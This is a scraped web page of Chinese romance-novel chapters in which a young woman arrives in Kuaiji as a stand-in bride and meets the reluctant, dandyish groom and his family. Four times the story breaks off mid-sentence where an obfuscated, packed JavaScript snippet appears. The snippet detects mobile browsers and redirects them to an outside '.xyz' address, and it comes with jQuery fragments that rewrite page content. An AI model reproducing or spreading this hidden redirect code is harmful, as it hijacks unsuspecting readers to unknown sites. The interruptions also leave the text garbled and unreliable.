“算了,你们也是给人办事,我不和你们许多计较。” 给人看足了自己不情愿的姿态,乐善才终于摊开了说话,“严妪,既然这里是你话事,那你得代杨家上下答应我一句话才好,否则,你们就抬着我的尸首上花轿吧。” “哎哟我的小姐,哪就这样严重了。” 早前来时,大老爷曾把严妪叫去书房,专门提醒:“严妪啊,我这侄女最有脾气,你逼也好,哄也好,千万留神她寻死觅活,记住,要把人活着嫁进江家。闹出人命可就不好看了。” 前些日她见了,严妪还纳闷呢,心想这小姐硬气的很,看上去绝不像是会寻死觅活的人才对。 听见威胁,严妪这才着实唬了一跳,想大老爷果然有远见。 她忙说,“小姐有吩咐,只管跟老妪交代就是,大婚在即,可不兴说这不吉利的话!” “我怕说了,你没胆答应。” 乐善居然冲她和善地笑了笑。 严妪被她笑得心里没底,直打鼓。自己只是杨家的奴仆,几时能做府里大老爷的主了?然而蕊珠小姐说得这样铿然,只怕真有胆魄血溅当场。 她心想,事急从权,惟有先糊弄了眼前,就算大老爷知道,也必然不会怪罪我的。 “小姐请说。” “好,你们都要给我听清楚了。” 乐善环视一圈,掷地有声,“我今日在此立誓,嫁去江家以后,无论是生是死,是孤苦伶仃、离群索居,还是能凭本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762939|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事叫丈夫为我挣来诰命,都与你们杨家——再无瓜葛!” “小姐!”严妪惊呼。 乐善最后才看向她,微笑说:“你不答应,我不上轿。” 严妪还在力劝:“杨家自始至终是小姐的娘家,倘有一日在江家受了委屈,也好有娘家为你做主啊……” 她越说越细声细气,因为正看见乐善向她轻蔑地一笑,显然在问,你自己信吗? 当然最后还是上了花轿。 尽管在众人眼中——弯身进花轿前,小姐执着丫鬟的手,深深回望的那一幕,实在有着百般的无奈。 但严妪才不管呢,她走在送亲的队伍之中,拿帕子使劲掖了掖额头的汗水,一边忍不住回望花轿,心里只有好笑:到底是姑娘家,色厉内荏,软语哄一哄,也就依了。 哪怕头顶一轮火辣辣的烈日,哪怕前路奔劳辛苦,严妪也都不计较了,因为在她是很得意洋洋的,回去也够当一件壮举和人说道说道了。 弘农杨氏毕竟是世家大族,枝繁叶茂,在朝中也有大官,此后行途如何辛苦,不必赘述,凭仗家族信物,送亲的队伍一路顺畅无阻,终于在七月廿八进入了会稽城内。 因待江家迎亲,他们暂且落脚在行馆。 乐善一路坐花轿而来,着实也颠了一路,腰酸背痛自是不必多说,人也险些散架了。后来好歹是硬捱着,才总算到了地方。 红夫这次当仁不让跟了她来,好帮忙打掩护。 犹记得临别时,杨娥主仆二人都红了眼,依依不舍。红夫更是跪在她小姐跟前声泪俱下,说;“小姐,请原谅红夫暂时不能服侍您了。” “傻丫头,说什么胡话。”杨娥拍拍她的脑袋,说,“我好好留在观中养病,又不是从此再无音信了。” 想到自己要离开,不知几时才能再见,红夫有些闷闷不乐。 杨娥记起要叮嘱她,说:“到了会稽,薛小姐势单力薄,你务必要听她的吩咐行事。” “知道了,小姐。” 红夫自然清楚乐善对她小姐恩同再造,心里服气得很,就没有不答应的。 这时,红夫替乐善捶着腰背,一边张望窗外,一边嘀咕:“真是奇了怪了,一进会稽城,那严妪就没影儿了,她该不会把咱们丢下走了吧?” 乐善问她:“你没注意到吗?咱们进会稽也有小半日了,可曾有江家的人露过面?” 红夫停下手,果真想了一想,然后摇了头:“没见到过。” 乐善无端有个不妙的猜想。 她低声吩咐红夫:“周师兄脚程比我们快,早几日已进城打探了,你去他那儿问问,如今是怎么个情形?” 替杨娥远嫁一事,除水晶观中几名知根底的道姑知晓,乐善也告知了师兄周羣。 周羣知道她心中另有主意,怕她孤立无援,于是跟来照应:“你在内宅,倘有需要,只怕施展不开,不如我在外接应,打探消息,如遇事急,也好和你里应外合。” 周羣早她们好几日就进了城,想必此刻该有消息了吧。 红夫看她神色沉重,明白事有缓急,不敢怠慢,应了一声,立刻就出门去了。 11. 第 11 章 11 会稽之地,历来山川形胜,风光独绝,比之苏、杭也完全不在话下。城南数里可见连绵的山体,重峦叠嶂,常年有云雾缭绕,山下纳三十六源之水,围堤建成镜湖。诸多士夫园亭得以引水,栉比而筑。 江家是会稽当地有声望的士族,尽管半世纪以来稍显没落了,但俗话说的好,瘦死的骆驼比马大,从南城门望出去,光是田宅江家就占去了近百亩,更不要说城内还有多座名园了,这些延绵几十里的雕梁画栋,无不精工巧作,大有富贵气象。 严妪一进会稽城,不待修整,立刻就照吩咐给江府门房上递了帖。 这时尚在清晨,天刚露白,但没等一时半刻,就有仆妇现身,领着她从侧门进了,经过小眉山,经过小曲桥,经过鲈香亭,最后来到梅花禅房。 仆妇请她在此稍等,说要去回禀三奶奶。放下茶,便离开了。 严妪这一路走来,眼花缭乱,简直不知先看哪里才好。 杨娥所出弘农杨氏,原是旁支,祖上虽然出过一位光禄大夫,但到她们这代,已经式微多年。眼下光维持着表面风光,就很勉强了,哪有闲钱修葺房屋?看上去自然远不如江家这富丽堂皇的楼宇,人走在其间,就好似置身于蓬莱阆苑一样。 严妪心想,来时几位奶奶明明提过,江家如今大不如前,怎么厅殿楼阁这样磅礴峥嵘,没见一点破落相呢? 正暗暗揣测着,一名仆妇走进来,笑说不凑巧:“府里老太太这会儿才要醒了,咱们奶奶正往跟前伺候呢,说怠慢了客人,劳你多坐会儿。” 严妪忙称不敢,又堆笑奉承说:“江三奶奶真有孝心。” 仆妇笑笑没应声,转身又出去,这次直往老夫人的院子去了。 路上碰到联袂来请安的大小姐江敏和七小姐江玫。江玫年纪不大,转年才十九,平日惯是个淘气性儿,当即冲她眨眨眼,笑说:“张妪,我可听说门上今日来了位贵客。” 只怕这边严妪才刚进府,那边消息就不胫而走,顷刻之间满府上下全知道了。张妪也不隐瞒,笑眯眯说:“回小姐话,正是呢,这会儿就让那老妪在梅花禅房候着的。” 江玫好奇问:“真定下让四哥娶那位啊?” “七妹妹,这话你姑娘家,怎么好说得?”江敏不免要提醒。她自己是大房早出了嫁的小姐,无奈前年丈夫得病死了,因和舅姑相处不睦,索性自己回娘家来住。 江玫吐吐舌头,并不怕她这位大姐姐:“问问而已嘛。真是稀罕,去年她还是我六嫂,今年就变作四嫂了,也不知能不能成…” 张妪哪里敢置喙,只说:“小姐少爷们的婚事当然全听老太太和三奶奶的主意。” 江玫嘴一撇,小声同江敏咬耳朵:“依我看,没人能做得了四哥的主意,祖母不行,我娘更不行。” 说话间,江老夫人住的正院到了。卧室前值守的丫鬟冲她们摇摇头,示意老太太还没醒,江敏和江玫便直接去了隔壁的起坐间里。 正坐在榻上翻看账目的,是江家三房的夫人罗文秀,大房是庶出,二房的主母过世得早,如今江家内宅全由她主持中馈。 江敏刚恭敬地叫了一声三叔母,江玫已经挨过去坐了,扭着江三奶奶的胳膊,说:“娘,我听说杨家小姐的花轿到行馆了。” 江三奶奶推开她热烘烘的脑袋,说:“去去,真没礼数,一个小孩子家打听这个做什么。” 江玫笑嘻嘻地,说:“我这不是为娘发愁,怕四哥不肯去迎亲嘛。” 小机灵鬼一个。江三奶奶看着女儿无奈极了,因为正说到自己心事上。 阖府几百号人虽听她发号施令,把偌大一个府邸经营得井井有条,但到底她是三房媳妇儿,伸手去管大房二房,总有闲话给人家说。 尤其是二房。当年二老爷二奶奶早早的亡故了,留下一个半大的少爷,又不听管,又玩世不恭。江三奶奶不是没暗示过老夫人,就管,也绝轮不到她这个无亲无故的叔母来插手。 老夫人平生向来精明,这事上却含糊,只说:“你是他长辈,就该多多管教他。” 江三奶奶暗地里也跟张妪抱怨过,说:“老太太是自己管教不了了,所以才借我的手来管。这是让我做恶人呢。” 虽然和弘农杨氏的婚约,确实是她先跟老夫人开口说的退婚。因她着人去打听了,那家小姐娇气,动不动生病,日后嫁来生儿育女,有得拖累。 老夫人答应了,在她是意外之喜。 然而她不知,老夫人心中也另有一番考较:女方毕竟是弘农杨氏的小姐,虽是旁支,不像先前那样兴盛,根底还是在的,和他们退婚不值当,干脆换个少爷顶上,只是大房是庶出,就怕杨家觉得堕了身份,不肯答允。 环顾江家,竟只剩下二房的独子江萼了。 江萼的父亲行二,素有早慧,曾是老夫人最得意的儿子,读书、科举、做官…江家的未来全压在江二爷的身上,喘不过气来。最后不知怎么被贬在家,竟郁郁而终。 江萼是随了他父亲的脾性和母亲的美貌,漂亮里带有几分乖戾。 江三奶奶也自忖拿他不定,因为他既不像膏粱子弟那般轻佻无赖,又不像花花公子只管纸醉金迷。 和他们都不一样,江萼的纨绔,更多在他自己享乐之事上穷尽奢靡。鲜衣、美食、古董、园林…就没他不爱,没他不精的。 这样一个爱癖成痴的人,肯甘心娶一个旁人不要的女人为妻吗?江三奶奶很感到忧虑。 思虑间,丫鬟挑了帘走进来,说:“三奶奶,诸位小姐,老太太醒了。” 大家忙起身了,进去隔壁卧室依次请安,又伺候老夫人用早饭。 江三奶奶趁席间吃饭,说了梅花禅房那人。杨家递拜帖,言说要跟他们仔细商议迎亲细节,其实变相是提醒。 江家没人去迎,江三奶奶少不得要为自己开脱一回,笑说:“早些时日也来了信的,是媳妇儿一时疏忽了,没想到他们比预定的早到了,城门口漏了人没去迎接,就怕新妇以为我们家怠慢。” 老夫人先没什么反应,只说:“你也忙。”也就揭过不提了。 用过了饭,两位小姐见机告辞而去,江三奶奶和张妪一边一个搀扶着老夫人往堂屋去。老夫人信佛,每日功课必不落下,要在佛龛前敬拜一炷香。 虔诚敬完香了,老夫人这才想起似的,问左右道:“这一向没见燕客,他去了哪里?” 燕客正是江萼的表字。 江三奶奶不好说,使了个眼色,张妪上前一步,弯着腰说:“回老太太,四少爷近日忙着置办城内的花灯会呢。” “自己正事不管,一味不务正业,这该是他一个堂堂正正的少爷去做的活吗?” 老夫人冷哼一声,底下人都屏住呼吸,完全不敢置声。江三奶奶忙笑着开解,说年轻人爱玩,也是常事…老夫人马上就发了火。 “他爹在他这个年纪已是进士及第,就是他六弟,明年也一定能高中进官,只他一个玩世不恭,到现在了还一事无成。” “叫他立即来见我。” …… 梅花禅房内。 热茶换过三杯了,才有个小丫鬟现身,冲严妪点头说:“请随我来。” 小丫鬟带她走夹道,过角门,东拐西绕,蹿进了正院的小阁间里。严妪虽然稀里糊涂跟着在走,心底明亮,忖度着问:“是老太太召见吗?” 小丫鬟没说话,指手示意她候着此处,然后关门离去。 等了这许久,还打哑谜,江家显然有意轻慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762940|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。严妪沉不住气了,眼见窗户半开,于是走了过去,令她惊讶的是,从窗口这位置,居然能清楚看见对面堂屋内的情形。 正前居中的案几上供着一尊佛龛,香火袅袅,已燃烧过半了。主位暂没有人,但底下太师椅上已经坐着两个男人。 其中一个坐得靠外面些,因背对着,完全看不见他脸,只看身形倒是很高挑。另一个坐里面些,倾着半个身跟靠外那人说话,能看得见一半英俊的侧脸,他眉眼间有促狭意,正带着一点微笑。 他们交谈的话清晰落到严妪耳中。 “祖母叫你过来,你也猜到是为了什么吧。” “不知道。” “少跟我装,杨家的花轿今早就进城了。” “嗯,现在知道了。” 看来这一个就是姑爷了,严妪暗忖,只可惜没看见长什么样。 “新郎官,你就不打算去见见你的未婚妻?” “少来,八字还没一撇的事。” “你心里堂亮,祖母不会答应你不娶她。” “那跟我有什么关系?” “真是无情,人家千里迢迢的来。” “三哥,你对她这么好奇,要娶请便。” 那人不耐烦地转开了脸,严妪总算是看清了他的样子:尽管拧眉不豫,也完全掩不住那双桃花眼中不觉流露出的风流韵致——真是天生的漂亮皮囊。 “胡说八道。” 江老夫人从旁边暖阁走了出来,听见他们之间的对话,不免大动肝火。 两位少爷都站起身来,叫:“祖母。” 江老夫人眼神先在江三公子江蔺身上停留一瞬,以示警告。再看向江萼:“收起你素日的轻薄样,杨家小姐出身书香门第,和你身边那些不三不四的女人不一样,别叫人家看轻了江家。” “遵命。”江萼随口敷衍。 对他的态度,江老夫人早见怪不怪,只吩咐管家,说:“近几日盯紧四少爷,别让他出门,吉日一到,立刻给我押去迎亲。倘若有误,我唯你是问。” 老太太下了禁足令,底下江蔺看热闹不嫌事大,偷偷冲江萼眨眼,像是在说:看吧,就算你不同意,也拗不过老太太的脾气。 江萼视而不见,懒搭理他。 …… 严妪还没回来,红夫已经从周羣那里带回了确切消息。 红夫说:“据说江家现在也一团乱麻,江老夫人要四公子换娶,但他不乐意,所以迟迟没做迎亲的准备。” 不出乐善所料,一个不愿嫁,一个不愿娶。 “既然他们也定不下谁来娶,何不干脆退婚?早知道我小姐也不必受这闲气,薛小姐你也不必不辞千里过来了。” 乐善竖指在唇边,提醒她小心隔墙有耳。 红夫忙噤声了,忽然心中一动,忍不住开口:“既然没人迎亲,正好我们打道回府,不嫁他了!” 乐善摇头,说:“到这一步了,已经不关乎退婚了,他们根本没把新妇放在眼里,就算我们即刻启程回去,也无法改变被冷落的事实,最后世人只会耻笑蕊珠小姐…” 到时,杨家绝不会为这孤女出头。 她的分析不无道理,红夫悚然一惊,赶紧问道:“那我们现在怎么办?光等也无济于事,四公子又不情愿,除非江家把他绑了来迎亲。” “就算绑了他来,心不甘情不愿,不过是给世人看去笑话。只怕成亲后,三姑六婆有的是刁难…” 红夫没精打采,喃喃说:“是啊…那该如何是好?” 她问了,乐善也就认真地想了想。 “只好请他心甘情愿地娶我了。” 红夫就这点最好,压根没觉得她大言不惭,反而真心请教:“怎么个心甘情愿的法儿?” 12. 第 12 章 12 江老夫人发了话,江萼不能不从命,终日在他的天镜园里闭门不出。 这园子就挨着江府,占地不大,原是前朝一名富商的私苑,几度易手,最后被江萼购入,这几年经他修葺一新,极尽江南小桥流水的考究与精致。 变相被禁足,并没耽搁他享乐,园中连日搭台,新排一出《牡丹亭·惊梦》。可惜唱过几遍,女戏们仍未解其中深意,江萼端茶看了半晌,觉得都不如意。 今日戏了。众女戏结伴走过来:“还请燕客少爷指教。” 江萼把茶碗一搁,开始评戏。众女戏才下台,胭脂未卸,细汗淋淋,轻喘抑抑,然而不敢有分毫疏懒,站着认真听讯。 江萼先说:“‘未到园林,怎知春色如许。’小英,你来重唱这句。” “是,燕客少爷。” 先前扮演杜丽娘的林敷英当即摆出一副袅娜身段,款款清唱。 江萼摇头,说不对:“杜丽娘困居幽阁,徒见春光满目,那种诧然该当直抒胸臆才是,而非含蓄。小英,勿要落入窠臼。” 林敷英面露惭色,微微欠身,说领教了。 江萼目光一一扫过她们,女戏们自觉发挥还不如林敷英呢,不禁忐忑,不知道会如何挨训。好在,今日他仿佛有心事,并没挨个点评,只说:“过几日我延师课戏,讲关目,讲情理,你们细细体会,来日再来一番表现。” 众女戏谢过了。 说戏的时候江萼过于的严苛,不留情面,到戏外了,女戏可不怕他。林敷英因受了姐妹们撺掇,上前一步,笑说:“燕客少爷,花灯会那晚姐妹们想讨赏请半日假,去城里看灯。” 另一名女戏笑吟吟说:“燕客少爷若是得闲,一起去当然最好了。” 江萼似有意动,二房的管家俞坚在旁提醒,说:“少爷,八月十五是您迎亲的大喜日子,不宜出游。” 女戏们面面相觑,尤其先前发问的那个,更是自悔失言,早晓得不多嘴了。 江萼也觉得没趣,挥了挥手,女戏们如释重负,纷纷退下了。 “真败兴啊。”江萼看他一眼。 俞坚说:“少爷再不爱听,杨家的花轿已经进城了,您总得娶她啊。” 江萼笑了,说:“俞叔,亏你讲得出来,那是人家不要了的,老太太机敏,怕得罪了在朝的杨家,才会想起我来。” “不管怎样,少爷终有一日要成家立业,不是杨家,也会有别家。”当然俞坚不好明说,凡是听说过他少爷鼎鼎大名的,就没有好人家肯嫁女儿过来的。 弘农杨氏,在他眼里已是最好的选择,因此极力劝说:“老奴托人去打听过,未来少奶奶端庄娴静,善解人意,日后必能为少爷免去后顾之忧。” “好啊俞叔,怪不得你这么苦心孤诣地劝我呢,原来我把人娶回来做管家婆,你就有得偷闲了是吧。” 俞坚无奈,虽然知道他少爷一惯说话漫不经心。 于是他没应这一茬,只把杨娥临行前的绝交言复述给江萼听,本意是要他怜惜:人家小姐可是斩断了娘家的根儿嫁过来的,一腔的孤勇值得敬畏。 “……嫁去江家以后,无论是生是死,是孤苦伶仃、离群索居,还是能凭本事叫丈夫为我挣来诰命,都与你们杨家——再无瓜葛……” 什么叫凭本事叫丈夫挣诰命? 还真敢想,江萼觉得好笑。 “真糊涂。” 他点评道,也不知是说她和娘家断绝关系,还是指望丈夫为她挣取诰命。 也许,二者都有。 江萼老实在天镜园待了不过几日,初七这日晌午,表弟秦朗兴冲冲地登门来,神秘兮兮地说:“我新认识一个古董商,他那里好些宝物,表哥,你去看不去?” 江萼正躺藤椅上闭目小憩,想也没想:“不去。” “去吧,老爷子要过寿了,我打算买幅米芾的真迹献礼,我拿不准,你帮我掌掌眼。” 江萼敬谢不敏,说:“你少不学无术,说不定你爹更高兴些。” 太泼冷水了,秦朗忍不住嘀咕:“表哥,你好意思说我,你自己也没多才高八斗吧。” 他半大的孩子,今年底才满十五岁,从小就爱跟在江萼屁股后边打转,江萼自己浪荡,却把他管得很严,秦朗心里不满很久,今日总算顶嘴了一回。 江萼哂笑一下,说:“去去,你能跟我一样?我又没人管,读那么多圣贤书做什么?” “谁说的?”秦朗眼珠子滴溜溜的,冲他挤眉弄眼,“我娘说,你就要娶新娘子了。” 看他吞吞吐吐的样儿,江萼不豫:“你娘还教你说什么了?” 秦朗幸灾乐祸的,笑说:“我娘还说,最好我表嫂就是个恶脾气,替她好好管教你。” 江萼没客气,坐起身狠狠敲他脑袋一下。 最终,江萼也没捱过他的软磨硬泡,答应过去帮忙掌眼。 尽管禁足令在身,但在天镜园里,老太太说话也作不得数。江萼之所以乖乖遵命,无非是想躲会儿清闲,现在连秦朗这小崽子也凑上来,满口的婚事,不肖想外面传得多么热烈。 过去的路上,秦朗还替他娘探口风:“你真不想迎娶杨家小姐?” 江萼无所谓地一笑:“我有的选吗?” “表哥你要实在不愿意,要不,娶回来先供着,过一两年,再把小英、薄姑纳了,享受齐人之福…”见他望过来,秦朗飞快地澄清,“这话是我爹让我跟你说的,你别告诉我娘!” …… 碰见江萼是在集古斋内。他们一堆人正聚拢在灯下看古董,周羣也陪伴她们来了,低声和乐善指认:“里面长得最白净的那个,就是他了。” 在她,当然是嗤之以鼻。雒阳那帮纨绔子弟,敷粉凃朱的不在少数,周师兄怎能一口笃定自己能认出他来?直到走近,乐善才发现周师兄讲得太委婉了。 “鸢肩公子二十馀。 齿编贝,唇激朱。 气如虹霓,饮如建瓴,尨裘金玦杂花光。” 乐善脑海里蓦地就联想到这首诗,不知楚国宋玉与他孰美?她心想,就算相貌不分高下,宋玉也少他这点纨绔的气派。 大家正在鉴赏董源的《潇湘图卷》。乐善家学渊源,只瞥一眼就认出是伪作,去看江萼,他只是笑着,也不说话,仿佛有点傲气,就任旁人议论。 总算他们也发觉了印章是仿的,回头见他一点也不惊讶,完全作壁上观的姿态,不免就叫:“好你个燕客,看了半天一声不吭,是不是早看出来名堂?” 有人笑骂说:“别说,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762941|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指不定专等着看今日谁是冤大头。” 一帮人哄堂大笑,他也真笑了,颊边有微涡。 “看来真给说中了,你这人也太会憋着坏了,竟敢冷眼旁观。” “就是,一会儿你做宴,少不得自罚一杯赔罪。” 他们一阵说笑。 江萼不置可否,说:“老板,看看下一件。” 堆放古董的箱子就搁在地上,古董商人扶着箱子盖,一边忙不迭又翻出了一些仿美人觚、合欢瓶、青玉砚…他们这一帮纨绔子弟,平时虽然不务正业,也着实眼光挑剔,看了说:“觚的形制差点意思。”又道,“青玉色沉,也敢拿来糊弄。” 古董商人忙说:“小的哪敢。”终于拿出珍藏的米芾《翠微深处图》。 江萼起先神色也淡淡的,看到这个才勉强有点兴致,走到画轴前反复观摩。 乐善收回目光,问道:“你们觉得他是怎样的一个人?” “不务正业的公子哥,也就比一般的败家子漂亮一些。” 红夫和她小姐一样自幼耳濡目染,推崇读书人更多,对他自然是很看不上的,猛地摇了头。 周羣对此倒是另有看法:“他眼光不差。” 乐善点头认可,多少败家子豪掷千金,到头来买回了赝品。显然他不在此列。 红夫问:“小姐,你打算怎样做?” 乐善一时不答。 距离中秋,还有八日,怎样让他心甘情愿迎亲,对乐善而言无异于一件难题。 本来她对自己长相还算自信,直至见了他,只怕寻常美貌到他跟前,也不够格的,看来对他使用美人计是不成了。 周羣建议说:“不如跟他开诚布公,说明新妇为难之处。” 周师兄为人好,只当旁人也和他一样,乐善免不了提醒一句:“和他一开头就是谎言,心都不诚,怎么开诚布公?” 他们交谈间,米芾的《翠微深处图》已鉴定为真迹,开始竞价了。 “老板,这个多少钱。”有人问。 古董商人伸出五根手指,报价:“五百金,少爷们亏不了的。” 五百金! 那人顿时咂舌,拨浪鼓似的摇头,说:“你这也太狮子大张口了,少一些。” 古董商人说:“道融少爷不知,海岳外史的真迹有价无市,五百金已经很便宜了。” “我们说的是米芾,你扯什么海岳外史呢,他的真迹关眼下什么事。” 这人大抵是个文盲,听得乐善直蹙眉。江萼也忍不了似的,轻轻睨他一眼,说:“别丢人现眼了,米芾和海岳外史是同一个人,这话传到你爹耳中,他收到画也得气死了。” 另有人和他们相熟,打趣说:“令尊肯定见怪不怪,你我何必苛责,道融毕竟一片孝心。” 秦朗说就是,偷偷看他表哥一眼。 江萼还不知道他,将头一点,说:“包起来吧。”古董商人顿时喜笑颜开,和他交定了价钱,双手捧上画轴。 五百金! 红夫微微张着嘴,大吃一惊,今日她是见识到了,居然真有人谈笑间豪掷百金,只为一幅古画。 乐善也立马打消利诱的想法。 一个漂亮且生活富足的男人,要拿什么诱惑作饵,才能入得了他的眼? 13. 第 13 章 13 回到行馆,果然严妪已经发现她们偷溜,蹲守门前,刚好逮她们个正着。 看见她们女扮男装,严妪更是疾言厉色,说:“蕊珠小姐,你是新嫁娘,不乖乖在屋子里待着,随意男装出门,万一有人认出你了,岂不是叫杨家蒙羞?” 乐善和红夫眼神一对,其实都有点乐不开支,心想,就连你都认不出本尊,别人怎么可能? “好了,知道了。” 乐善听了随意地挥手,只当作是耳旁风。严妪也心知肚明,无可奈何,回头只能加派人手,盯紧她们主仆二人。 不知怎的,严妪今日格外没有眼色,一味杵在门口不让,红夫不耐烦了,张口便问:“你堵在门口干嘛,有什么话直说。” 严妪说,是有一事:“刚才江府来人送帖,说后日江三奶奶要去城外开善寺为老太太添香祈福,邀请小姐同去。” “江三奶奶是…” 江家的人物关系乐善还没来得及恶补,一时没反应过来。 红夫在大家族里司空见惯了,提醒说:“是四少爷的叔母,而今江家的当家主母。” “照理,婚前小姐不该露面。”严妪也有点拿不准,说,“但既然江三奶奶有请了…” 她上回去江府,江三奶奶和颜悦色地接见了她,又是赔礼,说:“有失远迎,是我的过错,叫亲家受了怠慢。”又是招待,说:“府上专留了饭,一定吃了再走。” 严妪感激得不行。 ——浑然忘了她自己半日苦等。 “真没道理,她有请,我就必须得去吗?” 乐善可没忘,那位也是杨娥曾经的舅姑,罪魁祸首之一。 严妪以为她仍对换婚耿耿于怀,不免要劝:“江三奶奶始终是小姐的长辈,长辈有请,小辈不好推拒……” “嘿,谁跟你说我要推拒了?”乐善变脸也快,微微一笑。正好,她也想会一会江家的人。 到了八月初十这日午后,江家如约来接她去开善寺。 同车的是江家的两位小姐,大的淑静,小的俏皮,按照齿序,乐善是正中间的那个,大家见完了礼,彼此姐姐妹妹的称呼开来。 七小姐江玫善谈,问她读过几本书,可上过学堂…听说她身体不好,便问平日都服用什么药丸? “近年身体日益好转,已不需日常服用药丸。” 乐善留神,一一回答,“我常在道观休养,除了道经,旁的书读的少,不像妹妹上过学堂。” 江玫听说她不读书,意兴阑珊,热情也淡了些:“上过学堂,那也值得一说嘛?” 大小姐江敏含笑打了岔,同乐善说:“七妹妹从小没个同龄人相伴,知道你们年纪相仿,期待了好久呢。” 但江玫嘴一撇,对她显然很失望,索性装睡,闭上眼假寐。 江敏冲乐善歉然一笑,轻声问:“妹妹新来,这几日可还适应吗?” 乐善点头,说:“一切都好,多谢姐姐关心。” “淮扬菜味甜,不知妹妹可吃得惯?” “吃得惯,就当尝个新鲜。” 彼此这样的客气,到最后也快没话说了,好在开善寺并不远,出了城门十里,马车拥滞,停了下来。江玫也睁开了眼。 江敏说:“开善寺香火最盛,每次来,马车都堵在这儿,挪动不了分毫。妹妹,我们得自己走进去了。” 乐善探身出马车,瞥见跟前人头攒动,知她所言不虚。 红夫递了手过来,扶着她下去,又加披风,又戴帷帽,把她裹得严严实实,给旁边江家的两位小姐看得直楞。 红夫解释说:“寺里风大,又终日烟熏火燎的,小姐小心为上。” 跟个矜贵人一样,江玫更不屑了。江敏心肠倒好,还嘱咐说:“是该小心风口,新婚在即,妹妹身体紧要。” 江家每年要给开善寺布施数万钱,因此江家女眷一到,立刻被主持亲迎进去。 主持说:“三奶奶已经在斋室了。” 江三奶奶是长辈,自然不必要专程绕去行馆接个晚辈,马车先她们一步到开善寺。 江玫独自走在前头,江敏则落后一步,跟乐善走在一块,低声宽慰:“别担心,叔母是很好说话的。” 乐善将头一点,向她一笑。 斋室内供有一尊小佛像,底下安置四方案几,江三奶奶独占右上一案,盘腿坐着,正在闭目养神。 “娘。” “叔母。” 江家两位小姐分别施礼,然后江玫径自往江三奶奶下首一坐,江敏则坐在她对案。 “世侄女见过江夫人。”乐善最后走进斋室,伸手解披风的红绳,红夫上前接过,退至一旁。 乐善行礼的姿态不卑不亢,到底是世家大族出来的女子,不免叫江三奶奶另眼相看,笑说:“未来就是自家人了,不必拘礼。” 又招手,说:“过来挨着我坐。” 乐善只得过去。 江三奶奶把她拥在怀里,仔细打量,一边笑说:“好乖巧的模样,便宜了燕客那小子。” 一边又说:“你穿这样厚,近日身体可好?我听杨家说,你平常服用养魄丹?” 乐善轻声说:“正是。” 江三奶奶不免要说:“那个药性到底寒凉了些,你现在不觉得,日后生养了就知道遭罪了。我们家聘请了一位大夫日常问诊,他父亲曾做过御医,他继承父业,在这一带医术精湛,过几日叫他来替你把把脉。” “多谢夫人。”乐善低眉顺眼。 江三奶奶问:“你在家可读过书?” 乐善说:“平常抄写道经,只认得一些字。” “这不赶巧了吗?”江三奶奶身后的张妪顿时笑了,插话说,“老太太年底就要过整寿了,倘若杨小姐手抄一本经书献上,也算是孙媳妇尽份孝心,说不定老太太心里怎样高兴呢。” 江三奶奶没开腔,但是看着乐善,不置可否一笑。 ——还没过门呢,乐善在心里撇嘴。 把新妇叫来,命抄写经书,她心想,真不像是有头有脸的人家做得出来的事。 除非她们着意刁难,要磨她的性儿。 斋室里三位主人家,七八个仆妇,没一个再开口,只有研墨的沙沙声,但乐善知道她们无不窥视她的反应。 “夫人有命,原不该辞。只是……” 乐善低垂眼帘,后退半步,屈腿而蹲行礼。在众人惊异的视线下,她慢条斯理说,“侄女自幼入道,供奉三清,倘若此刻抄写佛经,只怕心中不诚,亵渎佛祖,孝心也变了坏心。” 没人想到她敢拒绝。 江三奶奶换了眼神,不得不重新拿审视的目光看向她,乐善目不斜视,背脊纤薄,仍旧挺得笔直。 江三奶奶笑了,佯怒跟张妪说:“你个老妪,谁叫你自作主张了?就是教新妇规矩,也轮不到你来,当心吓坏人家小姐,只当我们是多么苛待的婆家。” 张妪从善如流,忙讨饶说:“是老奴的过错,还望杨小姐莫怪。” 她们主仆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762942|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 